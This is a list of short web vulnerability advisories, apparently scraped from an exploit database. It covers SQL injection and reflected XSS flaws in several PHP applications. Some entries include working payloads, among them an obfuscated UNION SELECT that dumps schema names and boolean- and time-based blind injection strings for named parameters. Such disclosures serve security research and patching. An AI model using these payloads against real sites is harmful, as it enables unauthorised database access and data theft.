The vulnerability allows an publisher to inject sql commands into the vulnerable parameter. Proof of Concept: http://localhost/[PATH]/client.php?pageid=sites&subpid=modify&site_id=[SQL] 1-1++/*!00008UniOn*/+/*!00008sEleCT*/+0x283129,0x283229,0x283329,0x283429,(Select+export_set(5,@:=0,(select+count(*)from(information_schema.columns)where@:=export_set(5,export_set(5,@,table_name,0x3c6c693e,2),column_name,0xa3a,2)),@,2)),0x283629,0x283729,0x283829,0x283929,0x28313029,0x28313129--+-
The vulnerability allows an attacker to inject sql commands into the vulnerable application.
The vulnerability allows an attacker to inject sql commands into the 'keyword' parameter of the 'public/frontend/search' page, which can be used to access or modify the contents of the database.
The vulnerability allows remote attackers to execute a sql query on database system.
Blind SQL injection on [room_id] parameter.
Blind SQL injection on [course_id] parameter. Proof of Concept (PoC): http://localhost/[path]/courses/details?course_id=105 and 1=1 Parameter: course_id (GET) Type: boolean-based blind Title: AND boolean-based blind - WHERE or HAVING clause Payload: course_id=105 AND 4868=4868 Type: AND/OR time-based blind Title: MySQL >= 5.0.12 AND time-based blind Payload: course_id=105 AND SLEEP(5)
Blind SQL injection on [stock] POST parameter. The parameter is sent when downloading an image.
This is a robust platform for the booksellers and bookshop owners. SQL injection on [id] parameter. Reflected XSS on [id] parameter
Blind SQL injection on [id] parameter. Proof of Concept (PoC): http://localhost.com/[path]/jobdetailshow?id=19 and 1=1 Parameter: id (GET) Type: boolean-based blind Title: AND boolean-based blind - WHERE or HAVING clause Payload: id=19 and 4297=4297
The vulnerability allows an attacker to inject sql commands into the vulnerable parameters of the application. Proof of Concept: http://localhost/[PATH]/php/share/save.php?dashID=[SQL] http://localhost/[PATH]/php/save/db.php?dashID=[SQL]
Services By CQR